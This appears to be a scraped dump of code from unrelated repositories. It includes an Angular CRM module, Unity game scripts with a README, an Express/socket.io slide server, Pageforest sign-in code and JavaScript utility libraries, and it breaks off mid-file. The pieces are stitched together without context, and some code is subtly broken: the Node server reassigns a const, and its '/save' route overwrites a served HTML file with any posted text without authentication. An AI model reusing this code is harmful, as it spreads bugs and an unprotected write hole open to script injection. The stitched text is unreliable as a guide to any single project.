import { CandidatePreviewComponent } from './cmps/candidate-preview/candidate-preview.component';
import { SearchBarComponent } from './cmps/search-bar/search-bar.component';
import { AlertModule } from './modules/alert/alert.module';
@NgModule({
declarations: [
AppComponent,
MainHeaderComponent,
MainMenuComponent,
CRMAppComponent,
CrmHeaderComponent,
SortByComponent,
CandidateListComponent,
CandidatePreviewComponent,
SearchBarComponent,
],
imports: [
BrowserModule,
BrowserAnimationsModule,
AppRoutingModule,
HttpClientModule,
AvatarModule,
FormsModule,
ReactiveFormsModule,
AlertModule,
],
providers: [],
bootstrap: [AppComponent],
})
export class AppModule {}
<file_sep>/src/app/cmps/main-menu/main-menu.component.ts
import { Component, OnInit } from '@angular/core';
@Component({
selector: 'main-menu',
templateUrl: './main-menu.component.html',
styleUrls: ['./main-menu.component.scss'],
})
export class MainMenuComponent implements OnInit {
icons: Array<string> = [
'Jobs',
'Projects',
'Candidates',
'Employees',
'Lists',
'Campaigns',
'Inbox',
'Events',
'Talent comm',
'Privacy',
];
isShowMenu: boolean = false;
constructor() {}
ngOnInit(): void {}
}
| 62673b16bd27ee747e29b61205ad0ef878b2ea2c | [
"TypeScript"
] | 11 | TypeScript | chen-sella/crm-dev-assignment | c5f05e67bda9ffdb881cad7b9acb9644dda60339 | f5322bfd42a5e38571f2168243c7a9af838937eb |
refs/heads/master | <repo_name>mnikolop/Game_unity<file_sep>/Assets/scrips/LoaderScene.cs
using UnityEngine;
using System;
using UnityEditor;
using System.Collections;
public class LoaderScene : MonoBehaviour
{
public string name = "name";
public int health;
public int armor;
public int attack;
public int defence;
private float startTime;
public float timeInSecs = 120.0f;
public GUIText timer_text;
public void Start()
{
startTime = Time.time;
}
public void OnGUI ()
{
// Make a background box
GUI.Box(new Rect(0,0,Screen.width,Screen.height), "Loader Menu");
//make the textAreas for input
name = EditorGUILayout.TextField("mane:", name);
health = EditorGUILayout.IntField("Health:",health);
armor = EditorGUILayout.IntField("Armor:",armor);
attack = EditorGUILayout.IntField("Attack:",attack);
defence = EditorGUILayout.IntField("Defence:",defence);
timeInSecs = Time.time - startTime;
if ((int)timeInSecs >= 120)
{
Application.LoadLevel(0);
}
else
{
timer_text.text = "Time left " + (120-(int)timeInSecs) + " seconds \n";
}
// Make button. If it is pressed, Application.Loadlevel (0) will be executed
if(GUI.Button(new Rect(60,220,80,20), "Level 1"))
{
Application.LoadLevel(0);
}
}
}<file_sep>/Assets/scrips/playerScript.cs
using UnityEngine;
using System.Collections;
public class playerScript : MonoBehaviour
{
//private bool locked;
//private Vector3 lockPos;
public int speed;
public int armor;
public int health;
private int inihealth;
public int attack;
public int defense;
public int regen;
public GUIText speed_text;
public GUIText armor_text;
public GUIText health_text;
public GUIText attack_text;
public GUIText defense_text;
public GUIText regen_text;
public int myHit;
private int enemyHealth;
private int enemyArmor;
//public GUIText win_text;
public GUIText die_text;
void Start()
{
//locked = false;
speed = 1;
health = 1000;
inihealth = health;
armor = 50;
attack = 55;
defense = 50;
regen = 1;
//win_text.text = "";
DesplayText();
die_text.text = "";
myHit = ( attack - defense ) + 1;
}
// Update is called once per frame
void Update ()
{
bool moveUp = Input.GetKey("up");
bool moveDown = Input.GetKey("down");
bool moveLeft = Input.GetKey("left");
bool moveRight = Input.GetKey("right");
if(moveUp)
transform.Translate(Vector3.forward * speed * Time.deltaTime);
if(moveDown)
transform.Translate(Vector3.back * speed * Time.deltaTime);
if(moveLeft)
transform.Translate(Vector3.left * speed * Time.deltaTime);
if(moveRight)
transform.Translate(Vector3.right * speed * Time.deltaTime);
Invoke("HealthRegeneration", 1/30);
}
void HealthRegeneration()
{
if (health < inihealth)
{
health = health + regen;
}
}
void OnTriggerEnter(Collider other)
{
if(other.gameObject.tag == "pickupAttack")
{
other.gameObject.SetActive(false);
speed++;
attack++;
health = health + 2;
regen++;
DesplayText ();
}
if(other.gameObject.tag == "pickupDefence")
{
other.gameObject.SetActive(false);
speed++;
defense++;
health = health + 2;
regen++;
DesplayText ();
}
if(other.gameObject.tag == "pickupArmor")
{
other.gameObject.SetActive(false);
speed++;
armor++;
health = health + 2;
regen++;
DesplayText ();
}
if(other.gameObject.tag == "enemy")
{
//other.gameObject.SetActive(true);
GameObject theEnemy = GameObject.Find("enemy");
enemyScript Enemy = theEnemy.GetComponent<enemyScript>();
enemyHealth = Enemy.health;
enemyArmor = Enemy.armor;
while ((enemyHealth >0) && (health > 0))
{
if (Random.Range(0, myHit)%101 > enemyArmor)
{
enemyHealth--;
DesplayText();
if (enemyHealth == 0)
{
Destroy(other.gameObject);
Application.Quit();
}
}
if (Random.Range(0, Enemy.myHit)%101 > armor)
{
health--;
DesplayText();
if (health == 0)
{
die_text.text = "You DIE \n Exiting Game";
Application.Quit();
}
}
}
}
}
void DesplayText ()
{
//name_text.text = "Speed: " + name.ToString();
health_text.text = "Health: " + health.ToString();
armor_text.text = "Armor: " + armor.ToString();
speed_text.text = "Speed: " + speed.ToString();
attack_text.text = "Attack: " + attack.ToString();
defense_text.text = "Defense: " + defense.ToString();
regen_text.text = "Regeneration: " + regen.ToString();
//win_text.text = "Speed: " + armor.ToString();
}
}
/*if(other.gameObject.tag == "player")
{
GameObject thePlayer = GameObject.Find("player");
player playerHealth = thePlayer.GetComponent<player>();
while ((playerHealth.health >=0) || (health >= 0))
{
if (Random.Range(0, myHit)%101 > playerHealth.armor)
{
playerHealth.health--;
}
if (Random.Range(0, playerHealth.myHit)%101 > armor)
{
playerHealth.health--;
}
}
}*/
<file_sep>/README.md
Game_unity
==========
UNDER DEVELOPMENT - a multiplayer fight game created by unity
=============================================================
The game consists of a platform of 10.000x10.000.
The player sees 20x20 around him and an area 60x60 is buffered in order to minimize the buffering time when the player reaches the edges of his site.
There are 500 boost boxes pleased randomly around the plane.
In every game there are 5 players.
Every player has the values oh, health, armor, defense, attach which he determines in the beginning of the game.
At the beginning of every game there is a screen with the fields that need to be provided by the player, his name and a countdown
When the countdown stops the play scene is loaded
Every player is created in a different socket
The players are positioned in random places
The 500 boosters are positioned in random places
If the (physical) player sockets that have been created are less than 5 the remaining sockets are field with bots that are placed around the board
When 2 players meet their positions are locked and the fight begins.
Every player has potential hits calculated by the algorithm hits = (attack - defense) + 1
If the hit is greater than the opponent armor that the hit is valid and the enemy loses 1 health
When a player loses his socket is destroyed
<file_sep>/Assets/scrips/enemyScript.cs
using UnityEngine;
using System.Collections;
public class enemyScript : MonoBehaviour
{
public float speed;
public int armor;
public int attack;
public int defense;
public int regen;
public int health;
private float x;
private float y;
public int myHit;
//private Vector3 a;
//private Vector3 b;
//private Vector3 c;
//private Vector3 d;
//private Vector3 e;
// Use this for initialization
void Start ()
{
x = Random.Range(-10.0F, 10.0F);
y = Random.Range(-10.0F, 10.0F);
transform.localPosition = new Vector3(x, 1, y);
speed = 2;
health = 50;
armor = 50;
attack = Random.Range (0, 50);
defense = Random.Range(0, 50);
regen = 1;
myHit = ( attack - defense ) + 1;
}
// Update is called once per frame
void Update ()
{
//a = new Vector3(-x, 0, y);
//b = new Vector3(-x, 0, -y);
//c = new Vector3(x, 0, -y);
//d = ;
//e = ;
//if(transform.position == transform.localPosition)
// transform.Translate(a * speed * Time.deltaTime);
//if(transform.position == a)
// transform.Translate(b * speed * Time.deltaTime);
//if(transform.position == b)
// transform.Translate(c * speed * Time.deltaTime);
//if(transform.position == c)
// transform.Translate(transform.localPosition * speed * Time.deltaTime);
}
void OnTriggerEnter(Collider other)
{
if(other.gameObject.tag == "pickup")
{
speed = speed + 0.125f;
}
}
}
| be5b8b8dd2ff86d068f68dfa4c79d035c643851a | [
"Markdown",
"C#"
] | 4 | C# | mnikolop/Game_unity | fc84db2697ce66e33323c887b2dc76bf04c2ffbd | aba8bc129a89801f677b54133fcad96ee08d89aa |
refs/heads/master | <file_sep>var express = require('express');
var ejs = require('ejs');
var fs = require('fs');
var app = express.createServer();
var io = require('socket.io').listen(app);
app.register('.ejs', ejs);
// use POST
app.use(express.bodyParser());
app.get('/', function(req, res) {
var read = fs.createReadStream(__dirname + '/public/slides.html');
read.on('data', function(data) {
res.render('index.ejs', {
locals : {
slides : data,
}
});
});
});
const commands = 1;
io.of('/control').on('connection', function(socket) {
socket.emit('init', commands);
socket.on('message', function(msg) {
console.log(msg);
msg.sessionId = socket.id;
commands = msg;
socket.send(msg);
socket.broadcast.emit('message', msg);
});
socket.on('disconnect', function() {
socket.broadcast.emit('leave', socket.id);
});
});
app.post('/save', function(req, res) {
var writableStream = fs.createWriteStream(__dirname + '/public/slides.html');
writableStream.on('close', function(){
res.send();
});
writableStream.on('error', function(){
res.send('error');
});
writableStream.write(req.body.text, 'utf8');
writableStream.end();
});
// Configuration
app.configure('development', function() {
app.use(express.static(__dirname + '/public'));
app.use(express.errorHandler({
dumpExceptions : true,
showStack : true
}));
});
app.configure('production', function() {
var oneYear = 60 * 60 * 24 * 365250;
app.use(express.static(__dirname + '/public', {
maxAge : oneYear
}));
app.use(express.errorHandler());
});
app.listen(3000);
console.log("Express server listening on port %d in %s mode",
app.address().port, app.settings.env);
<file_sep>/*
Handle logging a user into Pageforest and optionally also log them
in to a Pageforest application.
A logged in use will get a session key on www.pageforest.com. This
script makes requests to appid.pageforest.com in order to get a
cookie set on the application domain when the user wants to allow
the application access to his store.
*/
namespace.lookup('com.pageforest.auth.sign-in').define(function(ns) {
var cookies = namespace.lookup('org.startpad.cookies');
var crypto = namespace.lookup('com.googlecode.crypto-js');
var forms = namespace.lookup('com.pageforest.forms');
// www.pageforest.com -> app.pageforest.com
// pageforest.com -> app.pageforest.com
function getAppDomain(appId) {
var parts = window.location.host.split('.');
if (parts[0] == 'www') {
parts[0] = appId;
} else {
parts.splice(0, 0, appId);
}
return parts.join('.');
}
// Use JSONP to read the username from the cross-site application.
function getJSONP(url, fn) {
$.ajax({
type: "GET",
url: url,
dataType: "jsonp",
success: fn,
// We return a 404 for the jsonP - when can trigger this error
// Review: would be better to tunnel all results at 200 with
// embedded error status.
error: function() {
fn({status: 500});
}
});
}
// Display success, and close window in 2 seconds.
function closeForm() {
if (ns.appId) {
$(".have_app").show();
}
$(".want_app").hide();
setTimeout(window.close, 2000);
}
// Send a valid appId sessionKey to the app domain
// to get it installed on a cookie.
function transferSession(sessionKey, fn) {
var url = ns.appAuthURL + "set-session/" + sessionKey;
getJSONP(url, function(message) {
if (typeof(message) != 'string') {
return;
}
if (fn) {
fn();
}
// Close the window if this was used to
// sign in to the app.
if (sessionKey) {
closeForm();
}
});
return false;
}
function onSuccess(message, status, xhr) {
if (message.sessionKey) {
transferSession(message.sessionKey, function() {
window.location.reload();
});
return;
}
window.location.reload();
}
function onError(xhr, status, message) {
var text = xhr.responseText;
if (text.substr(0, 19) == 'Invalid signature: ') {
text = text.substr(19);
}
if (/(user|account)/i.test(text)) {
forms.showValidatorResults(
['username', 'password'], {username: text, password: ' '});
} else {
forms.showValidatorResults(
['username', 'password'], {password: text});
}
}
function onChallenge(challenge, status, xhr) {
var username = $('#id_username').val();
var lower = username.toLowerCase();
var password = $('#<PASSWORD>').val();
var userpass = crypto.HMAC(crypto.SHA1, lower, password);
var signature = crypto.HMAC(crypto.SHA1, challenge, userpass);
var reply = lower + '|' + challenge + '|' + signature;
$.ajax({
url: '/auth/verify/' + reply,
success: onSuccess,
error: onError
});
}
function onSubmit() {
$.ajax({
url: '/auth/challenge',
success: onChallenge,
error: onError
});
return false;
}
// Check if user is already logged in.
function onReady(username, appId) {
// Hide message about missing JavaScript.
$('#enablejs').hide();
$('input').removeAttr('disabled');
// Show message about missing HttpOnly support.
if (cookies.getCookie('httponly')) {
$('#httponly').show();
}
ns.appId = appId;
ns.appAuthURL = 'http://' + getAppDomain(appId) + '/auth/';
// Nothing to do until the user signs in - page will reload
// on form post.
if (!username) {
return;
}
// Check (once) if we're also currently logged in @ appId
// without having to sign-in again.
// REVIEW: Isn't this insecure?
var url = ns.appAuthURL + "username/";
getJSONP(url, function(username) {
// We're already logged in!
if (typeof(username) == 'string') {
closeForm();
return;
}
});
}
function signOut() {
if (ns.appId) {
transferSession('expired', function() {
window.location = '/sign-out/' + ns.appId;
});
return;
}
window.location = '/sign-out/';
}
ns.extend({
'onReady': onReady,
'onSubmit': onSubmit,
'transferSession': transferSession,
'signOut': signOut
});
}); // com.pageforest.auth.sign-in
<file_sep>namespace.lookup('org.startpad.dom.test').defineOnce(function (ns) {
var base = namespace.lookup('org.startpad.base');
var dom = namespace.lookup('org.startpad.dom');
ns.addTests = function (ts) {
ts.addTest("na", function(ut) {
});
};
});
<file_sep>namespace.lookup('org.startpad.dialog').defineOnce(function(ns) {
var util = namespace.util;
var base = namespace.lookup('org.startpad.base');
var format = namespace.lookup('org.startpad.format');
var dom = namespace.lookup('org.startpad.dom');
var patterns = {
title: '<h1>{title}</h1>',
text: '<label class="left" for="{id}">{label}:</label>' +
'<input id="{id}" type="text"/>',
password: '<label class="left" for="{id}">{label}:</label>' +
'<input id="{id}" type="password"/>',
checkbox: '<label class="checkbox" for="{id}">' +
'<input id="{id}" type="checkbox"/> {label}</label>',
note: '<label class="left" for="{id}">{label}:</label>' +
'<textarea id="{id}" rows="{rows}"></textarea>',
message: '<div class="message" id="{id}"></div>',
value: '<label class="left">{label}:</label>' +
'<div class="value" id="{id}"></div>',
button: '<input id="{id}" type="button" value="{label}"/>',
invalid: '<span class="error">***missing field type: {type}***</span>',
end: '<div style="clear: both;"></div>'
};
var defaults = {
note: {rows: 5}
};
var sDialog = '<div class="{dialogClass}" id="{id}">{content}</div>';
var cDialogs = 0;
// Dialog options:
// focus: field name for initial focus (if different from first)
// enter: fiend name to press for enter key
// message: field to use to display messages
// fields: array of fields with props:
// name/type/label/value/required/shortLabel/hidden
function Dialog(options) {
cDialogs++;
this.dialogClass = 'SP_Dialog';
this.prefix = 'SP' + cDialogs + '_';
this.bound = false;
this.lastValues = {};
util.extendObject(this, options);
}
Dialog.methods({
html: function() {
var self = this;
var stb = new base.StBuf();
this.id = this.prefix + 'dialog';
base.forEach(this.fields, function(field, i) {
field.id = self.prefix + i;
base.extendIfMissing(field, defaults[field.type]);
if (field.type == undefined) {
field.type = 'text';
}
if (patterns[field.type] == undefined) {
field.type = 'invalid';
}
if (field.label == undefined) {
field.label = field.name[0].toUpperCase() +
field.name.slice(1);
}
stb.append(format.replaceKeys(patterns[field.type], field));
});
stb.append(patterns['end']);
this.content = stb.toString();
var s = format.replaceKeys(sDialog, this);
return s;
},
bindFields: function() {
if (this.bound) {
return;
}
this.bound = true;
var self = this;
self.dlg = document.getElementById(self.id);
if (self.dlg == undefined) {
throw new Error("Dialog not available.");
}
base.forEach(this.fields, function(field) {
field.elt = document.getElementById(field.id);
if (!field.elt) {
return;
}
if (field.onClick != undefined) {
dom.bind(field.elt, 'click', function(evt) {
field.onClick(evt);
});
}
// Bind to chaning field (after it's changed - use keyUp)
if (field.onChange != undefined) {
dom.bind(field.elt, 'keyup', function(evt) {
field.onChange(evt, field.elt.value);
});
}
// Default focus is on the first text-entry field.
if (self.focus == undefined &&
(field.elt.tagName == 'INPUT' ||
field.elt.tagName == 'TEXTAREA')) {
self.focus = field.name;
}
// First button defined gets the enter key
if (self.enter == undefined && field.type == 'button') {
self.enter = field.name;
}
});
if (self.enter) {
dom.bind(self.dlg, 'keydown', function(evt) {
if (evt.keyCode == 13) {
var field = self.getField(self.enter);
if (field.onClick) {
field.onClick();
}
}
});
}
},
getField: function(name) {
for (var i = 0; i < this.fields.length; i++) {
if (this.fields[i].name == name) {
return this.fields[i];
}
}
return undefined;
},
// Compare current value with last externally set value
hasChanged: function(name) {
// REVIEW: This could be more effecient
var values = this.getValues();
return values[name] != this.lastValues[name];
},
// Call just before displaying a dialog to set it's values.
// REVIEW: should have a Field class and call field.set method
setValues: function(values) {
var field;
base.extendObject(this.lastValues, values);
this.bindFields();
for (var name in values) {
if (values.hasOwnProperty(name)) {
field = this.getField(name);
if (field == undefined || field.elt == undefined) {
continue;
}
var value = values[name];
if (value == undefined) {
value = '';
}
switch (field.elt.tagName) {
case 'INPUT':
switch (field.elt.type) {
case 'checkbox':
field.elt.checked = value;
break;
case 'text':
case 'password':
field.elt.value = value;
break;
default:
break;
}
break;
case 'TEXTAREA':
field.elt.value = value;
break;
default:
dom.setText(field.elt, value);
break;
}
}
}
},
setFocus: function() {
var field;
this.bindFields();
if (this.focus) {
field = this.getField(this.focus);
if (field) {
field.elt.focus();
field.elt.select();
}
}
},
getValues: function() {
var values = {};
this.bindFields();
for (var i = 0; i < this.fields.length; i++) {
var field = this.fields[i];
if (field.elt == undefined) {
continue;
}
var name = field.name;
switch (field.elt.tagName) {
case 'INPUT':
switch (field.elt.type) {
case 'checkbox':
values[name] = field.elt.checked;
break;
case 'text':
case 'password':
values[name] = field.elt.value;
break;
default:
break;
}
break;
case 'TEXTAREA':
values[name] = field.elt.value;
break;
default:
values[name] = dom.getText(field.elt);
break;
}
}
return values;
},
enableField: function(name, enabled) {
if (enabled == undefined) {
enabled = true;
}
this.bindFields();
var field = this.getField(name);
switch (field.elt.tagName) {
case 'INPUT':
case 'TEXTAREA':
field.elt.disabled = !enabled;
break;
case 'DIV':
field.elt.style.display = enabled ? 'block' : 'none';
break;
default:
throw new Error("Field " + name + " is not a form field.");
}
}
});
ns.extend({
'Dialog': Dialog
});
});
<file_sep>namespace.lookup('org.startpad.base.test').defineOnce(function (ns) {
var util = namespace.util;
var base = namespace.lookup('org.startpad.base');
var unit = namespace.lookup('org.startpad.unit');
ns.addTests = function (ts) {
ts.addTest("String Buffer", function(ut) {
var stb1 = new base.StBuf();
ut.assertEq(stb1.toString(), "");
stb1.append("hello");
ut.assertEq(stb1.toString(), "hello");
stb1.append(", mom");
ut.assertEq(stb1.toString(), "hello, mom");
var stb2 = new base.StBuf();
stb2.append(stb1).append("-").append(stb1);
stb1.clear();
ut.assertEq(stb1.toString(), "");
ut.assertEq(stb2.toString(), "hello, mom-hello, mom");
var stb3 = new base.StBuf();
stb3.append("this", ", that", ", the other");
ut.assertEq(stb3.toString(), "this, that, the other");
var stb4 = new base.StBuf("initial", " value");
ut.assertEq(stb4.toString(), "initial value");
});
ts.addTest("Object Extension", function(ut) {
var obj1 = {a: 1, b: "hello"};
util.extendObject(obj1, {c: 3});
ut.assertEq(obj1, {a: 1, b: "hello", c: 3});
base.extendIfMissing(obj1, {a: 2, b: "mom", d: "new property"});
ut.assertEq(obj1, {a: 1, b: "hello", c: 3, d: "new property"});
var obj2 = {};
util.extendObject(obj2, {a: 1}, {b: 2}, {a: 3});
ut.assertEq(obj2, {a: 3, b: 2});
var a = [];
var b = [1, [2, 3], 4];
base.extendDeep(a, b);
ut.assertEq(a[0], 1);
ut.assertEq(a[1], [2, 3]);
ut.assertEq(a[2], 4);
var o1 = {};
var o2 = {a: 1, b: {c: 2}};
var o3 = {d: 3};
base.extendDeep(o1, o2, o3);
ut.assertEq(o1, {a: 1, b: {c: 2}, d: 3});
o1.b.c = 99;
ut.assertEq(o2, {a: 1, b: {c: 2}});
});
ts.addTest("extendIfChanged", function(ut) {
var tests = [
[{}, {}, {}, {}, false],
[{}, {}, {a: 1}, {a: 1}, true],
[{a: 1}, {a: 1}, {a: 2}, {a: 2}, true],
[{a: 1}, {a: 2}, {a: 2}, {a: 1}, false],
[{}, {b: 2}, {a: 1}, {a: 1}, true],
[{a: 1, b: 2}, {a: 3, b: 3}, {a: 4, b: 3}, {a: 4, b: 2}, true],
[{a: 1}, {a: 2}, {a: undefined}, {a: 1}, false],
[{a: 1}, {}, {a: 2}, {a: 2}, true],
[{}, {a: {b: 1}}, {a: {b: 1}}, {}, false]
];
for (var i = 0; i < tests.length; i++) {
ut.trace("i = " + i);
var test = tests[i];
var dest = test[0];
ut.assertEq(base.extendIfChanged(dest, test[1],
test[2]), test[4]);
ut.assertEq(dest, test[3]);
// Make sure the "last" cache is updated when changed.
for (var prop in test[2]) {
if (test[2].hasOwnProperty(prop)) {
if (test[2][prop] != undefined) {
ut.assertEq(test[1][prop], test[2][prop],
"Prop: " + prop);
}
}
}
}
});
ts.addTest("strip", function(ut) {
ut.assertEq(base.strip(" hello, mom "), "hello, mom");
ut.assertEq(base.strip(" leading"), "leading");
ut.assertEq(base.strip("trailing "), "trailing");
ut.assertEq(base.strip("inner space"), "inner space");
ut.assertEq(base.strip(" "), "");
ut.assertEq(base.strip(" \r\nWORD\r\n "), "WORD");
});
ts.addTest("Enum", function(ut) {
var e = new base.Enum("a", "b", "c");
ut.assertEq(e, {a: 0, b: 1, c: 2});
ut.assertEq(e.getName(1), 'b');
e = new base.Enum(1, "a", "b", 5, "c");
ut.assertEq(e, {a: 1, b: 2, c: 5});
e = new base.Enum();
ut.assertEq(e, {});
});
ts.addTest("keys", function(ut) {
var map = {'a': 1, 'b': 2};
ut.assertEq(base.keys(map), ['a', 'b']);
});
ts.addTest("forEach", function(ut) {
var a = [];
a[1] = 1;
a[3] = 2;
base.forEach(a, function(elt, index) {
ut.assert(index == 1 || index == 3, "no undefined");
ut.assertEq(elt, index == 1 ? 1 : 2);
});
var obj = {'a': 1, 'b': 2};
Object.prototype.c = 3;
base.forEach(obj, function(elt, prop) {
ut.assert(prop == 'a' || prop == 'b');
ut.assertEq(elt, prop == 'a' ? 1 : 2);
});
});
ts.addTest("misc", function(ut) {
ut.assertEq(base.extendObject({a: 1}, {b: 2}), {a: 1, b: 2});
ut.assertLT(base.randomInt(10), 10);
ut.assertEq(base.project({a: 1, b: 2}, ['a']), {a: 1});
var a = [1, 3, 2, 4, 3];
base.uniqueArray(a);
ut.assertEq(a, [1, 2, 3, 4]);
var aT = base.map(a, function(x) {
return x * 2 + 1;
});
ut.assertEq(aT, [3, 5, 7, 9]);
aT = base.filter(a, function(x) {
return x > 2;
});
ut.assertEq(aT, [3, 4]);
var s = base.reduce(a, function(x, y) {
return x * y;
});
ut.assertEq(s, 24);
ut.assertEq(base.indexOf('a', ['b', 'a', 'c']), 1);
ut.assertEq(base.indexOf(1, ['b', 'a', 'c']), -1);
});
ts.addTest("ensureArray", function(ut) {
var tests = [
[undefined, []],
[[1], [1]],
[1, [1]]
];
for (var i = 0; i < tests.length; i++) {
var test = tests[i];
ut.assertEq(base.ensureArray(test[0]), test[1]);
ut.assert(test[1] instanceof Array);
}
function x(a, b, c) {
ut.assertEq(base.ensureArray(arguments), [1, 2, 3]);
}
x(1, 2, 3);
});
ts.addTest("isEqual", function(ut) {
var i;
function args() {
return arguments;
}
// Avoid jslint error about using these constructors.
var S = String;
var N = Number;
var equalTests = [
[undefined, undefined],
[null, null],
[1, 1],
[true, true],
[false, false],
[new Date(2010, 7, 28, 11, 2), new Date(2010, 7, 28, 11, 2)],
[[], []],
[{}, {}],
[[0], [0]],
[[0, undefined], [0]],
[{a: 1}, {a: 1}],
[{a: 1, b: 2}, {b: 2, a: 1}],
[args(1, 2, 3), [1, 2, 3]],
[args, args],
[{a: undefined}, {}],
[[1, [2, 3], 4], [1, [2, 3], 4]],
[{a: [1, 2, {c: 3}], b: [4, 5]},
{b: [4, 5], a: [1, 2, {c: 3, d: undefined}]}],
["abc", new S("abc")],
[1.23, new N(1.23)]
];
var d1 = new Date(2010, 7, 28);
var d2 = new Date(2010, 7, 28);
d1.a = 1;
d2.a = 2;
var unequalTests = [
[undefined, false],
[0, false],
[1, true],
[1, "1"],
["a", "a "],
["a", "A"],
[new Date(2010, 7, 28, 11, 2), new Date(2010, 7, 28, 11, 3)],
[new Date(), {}],
[d1, d2],
[{}, new Date()],
[null, {}],
[null, undefined],
[[1], [1, 2]],
[[1, 2, 3], [1, "2", 3]],
[{}, {a: 1}],
[{a: 1, b: 2}, {a: 1, b: undefined}],
[[1, [2, 3], 4], [1, [2, 5], 4]],
[{a: [1, 2, {c: 3}], b: [4, 5]},
{b: [4, 5], a: [1, 2, {c: 6}]}]
];
var test;
for (i = 0; i < equalTests.length; i++) {
ut.trace("equal #" + i);
test = equalTests[i];
ut.assert(base.isEqual(test[0], test[1]),
JSON.stringify(test[0]));
}
for (i = 0; i < unequalTests.length; i++) {
ut.trace("unequal #" + i);
test = unequalTests[i];
ut.assert(!base.isEqual(test[0], test[1]),
JSON.stringify(test[0]));
}
function A(a, b) {
this.a = a;
this.b = b;
}
function B(c, d) {
this.a = c;
this.b = d;
}
ut.assert(base.isEqual(new A(1, 2), new B(1, 2)),
"same object - different prototypes");
});
ts.addTest("dictFromArray", function(ut) {
var tests = [
['a', [], {}],
['a', [{a: 'a'}, {a: 'b'}], {a: {a: 'a'}, b: {a: 'b'}}],
['a', [{a: 'a', b: 1}, {a: 'a', b: 2}], {a: {a: 'a', b: 2}}]
];
for (var i = 0; i < tests.length; i++) {
ut.trace(i);
var test = tests[i];
console.log(test);
var d = base.dictFromArray(test[1], test[0]);
ut.assertEq(d, test[2]);
}
});
}; // addTests
}); // org.startpad.base.test
<file_sep>/* Begin file: namespace.js */
/* Namespace.js
Version 2.0, May 11, 2010
by <NAME> - released into the public domain.
Support for building modular namespaces in javascript.
Globals:
namespace - The top of the namespace hierarchy. Child
namespaces are stored as properties in each namespace object.
namespace.lookup(path) - Return the namespace object with the given
path. Creates the namespace if it does not already exist. The path
has the form ('unique.module.sub_module').
Utility functions:
util = namespace.util;
util.extendObject(dest, source1, source2, ...) - Copy the properties
from the sources into the destination (properties in following objects
override those from the preceding objects).
util.copyArray(a) - makes a (shallow) copy of an array or arguments list
and returns an Array object.
Extensions to the Function object:
Class.methods({
f1: function () {...},
f2: function () {...}
));
f1.fnMethod(obj, args) - closure to call obj.f1(args);
f1.fnArgs(args) - closure to add more arguments to a function
*** Class Namespace ***
Methods:
ns.define(callback(ns)) - Call the provided function with the new
namespace as a parameter. Returns the newly defined namespace.
ns.defineOnce(callback(ns)) - Same as 'define', but only allows the
first invocation of the callback function.
ns.extend(object) - Copy the (own) properties of the source
object into the namespace.
ns.nameOf(symbol) - Return the global name of a symbol in a namespace
(for eval() or html onEvent attributes).
Usage example:
namespace.lookup('org.startpad.base').define(function(ns) {
var util = namespace.util;
var other = ns.lookup('org.startpad.other');
ns.extend({
var1: value1,
var2: value2,
myFunc: function(args) {
...other.aFunction(args)...
}
});
// Constructor
ns.ClassName = function(args) {
...
};
util.extendObject(ns.ClassName.prototype, {
var1: value1,
method1: function(args) {
}
});
});
*/
// Define stubs for FireBug objects if not present.
// This is here because this will often be the first javascript file loaded.
// We refrain from using the window object as we may be in a web worker where
// the global scope is NOT window.
if (typeof console == 'undefined') {
var console = (function() {
if (console != undefined) {
return console;
}
var noop = function() {};
var names = ["log", "debug", "info", "warn", "error", "assert",
"dir", "dirxml", "group", "groupEnd", "time", "timeEnd",
"count", "trace", "profile", "profileEnd"];
var consoleT = {};
for (var i = 0; i < names.length; ++i) {
consoleT[names[i]] = noop;
}
return consoleT;
}());
}
var namespace = (function() {
try {
if (namespace != undefined) {
return namespace;
}
}
catch (e) {}
function Namespace(parent, name) {
if (name) {
name = name.replace(/-/g, '_');
}
this._isDefined = false;
// List of namespaces that were referenced during definition.
this._referenced = [];
this._parent = parent;
if (this._parent) {
this._parent[name] = this;
this._path = this._parent._path;
if (this._path !== '') {
this._path += '.';
}
this._path += name;
} else {
this._path = '';
}
}
var namespaceT = new Namespace(null);
// Extend an object's properties from one (or more) additional
// objects.
function extendObject(dest, args) {
if (dest === undefined) {
dest = {};
}
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i];
for (var prop in source) {
if (source.hasOwnProperty(prop)) {
dest[prop] = source[prop];
}
}
}
return dest;
}
// Useful for converting arguments to an regular array
function copyArray(arg) {
return Array.prototype.slice.call(arg, 0);
}
// Inspired by JavaScript: The Good Parts, p33.
// Usage:
// Class.methods({
// f1: function() {...},
// f2: function() {...}
// });
Function.prototype.methods = function (obj) {
extendObject(this.prototype, obj);
};
Function.methods({
// Closure for a method call - like protoype.bind()
fnMethod: function (obj) {
var _fn = this;
return function() {
return _fn.apply(obj, arguments);
};
},
// Closure with appended parameters to the function call.
fnArgs: function () {
var _fn = this;
var _args = copyArray(arguments);
return function() {
var args = copyArray(arguments).concat(_args);
// REVIEW: Is this intermediate self variable needed?
var self = this;
return _fn.apply(self, args);
};
}
});
// Functions added to every Namespace.
Namespace.methods({
// Call a function with the namespace as a parameter - forming
// a closure for the namespace definition.
define: function(callback) {
this._isDefined = true;
console.info("Namespace '" + this._path + "' defined.");
if (callback) {
Namespace.defining = this;
callback(this);
Namespace.defining = undefined;
}
return this;
},
// Same as define, but will not execute the callback more than once.
defineOnce: function(callback) {
// In case a namespace is multiply loaded, we ignore the
// definition function for all but the first call.
if (this._isDefined) {
console.warn("Namespace '" + this._path + "' redefinition.");
return this;
}
return this.define(callback);
},
// Extend the namespace from the arguments of this function.
extend: function() {
// Use the Array.slice function to convert arguments to a
// real array.
var args = [this].concat(copyArray(arguments));
return extendObject.apply(undefined, args);
},
// Return a global name for a namespace symbol (for eval()
// or use in onEvent html attributes.
nameOf: function(symbol) {
symbol = symbol.replace(/-/g, '_');
return 'namespace.' + this._path + '.' + symbol;
}
});
extendObject(namespaceT, {
// Lookup a global namespace object, creating it (and it's parents)
// as necessary. If a namespace is currently being defined,
// add any looked up references to the namespace (if lookup is not
// used, _referenced will not be complete.
lookup: function(path) {
var fCreated = false;
path = path.replace(/-/g, '_');
var parts = path.split('.');
var cur = namespaceT;
for (var i = 0; i < parts.length; i++) {
var name = parts[i];
if (cur[name] === undefined) {
cur = new Namespace(cur, name);
fCreated = true;
}
else {
cur = cur[name];
}
}
if (Namespace.defining) {
Namespace.defining._referenced.push(cur);
if (fCreated) {
console.warn("Forward reference from " +
Namespace.defining._path + " to " +
path + ".");
}
}
return cur;
}
});
// Put utilities in the 'util' namespace beneath the root.
namespaceT.lookup('util').extend({
extendObject: extendObject,
copyArray: copyArray
